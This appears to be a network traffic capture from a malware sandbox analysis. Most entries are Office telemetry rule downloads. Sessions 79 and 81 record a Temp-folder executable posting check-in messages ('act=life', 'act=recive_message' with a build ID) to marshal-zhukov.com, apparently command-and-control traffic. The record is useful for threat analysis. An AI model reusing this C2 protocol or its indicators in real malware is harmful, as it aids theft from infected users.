2024-11-12 01:14:13 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:13 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 81ebe052-401e-00ac-2da0-340a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011413Z-17df447cdb5zfhrmhC1DFWh3300000000b4g00000000p5d5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:13 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:13 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:13 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:13 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 5267c52a-501e-007b-64a0-345ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011413Z-17df447cdb54ntx4hC1DFW2k400000000bk0000000007bxy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:13 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:13 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:13 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011413Z-16547b76f7fcjqqhhC1DFWrrrc0000000evg00000000gxm9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:13 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49843	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:13 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:13 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:13 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 50e8b97d-601e-0070-17a0-34a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011413Z-17df447cdb5jg4kthC1DFWux4n0000000b6000000000n0th x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:13 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:13 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:13 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:13 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ea775dbe-901e-0016-4f03-2defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011413Z-16547b76f7fvllnfhC1DFWxkg80000000ey000000000g3bm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:13 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49845	188.114.97.3	443	3616	C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:13 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: marshal-zhukov.com
2024-11-12 01:14:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:13 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:14 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:14 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 8514c3eb-001e-0082-0ba0-345880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011414Z-15869dbbcc6j87jfhC1DFWr0yc00000007a0000000001pze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49847	188.114.97.3	443	7968	C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:14 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: marshal-zhukov.com
2024-11-12 01:14:14 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:14 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:14 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:14 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e9278802-001e-002b-42a0-3499f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011414Z-15869dbbcc6lq45jhC1DFWtecs00000000p0000000009ppw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:14 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:14 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:14 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:14 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 898dd9bc-901e-0048-53d2-2cb800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011414Z-16547b76f7f2g4rlhC1DFWnx880000000et000000000meat x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:14 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:14 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:14 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: f6e8dc5a-601e-0002-3da0-34a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011414Z-15869dbbcc6tjwwhhC1DFWn22800000008b0000000006es9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-12 01:14:14 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:14 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:14 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:14 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011414Z-16547b76f7fr28cchC1DFWnuws0000000f2g0000000074w9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:14 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:15 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 01:14:15 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:14:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 1ec43ba4-f01e-0003-65d2-2c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T011415Z-16547b76f7f7rtshhC1DFWrtqn0000000f0g000000006r0a x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 01:14:15 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:14:15 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
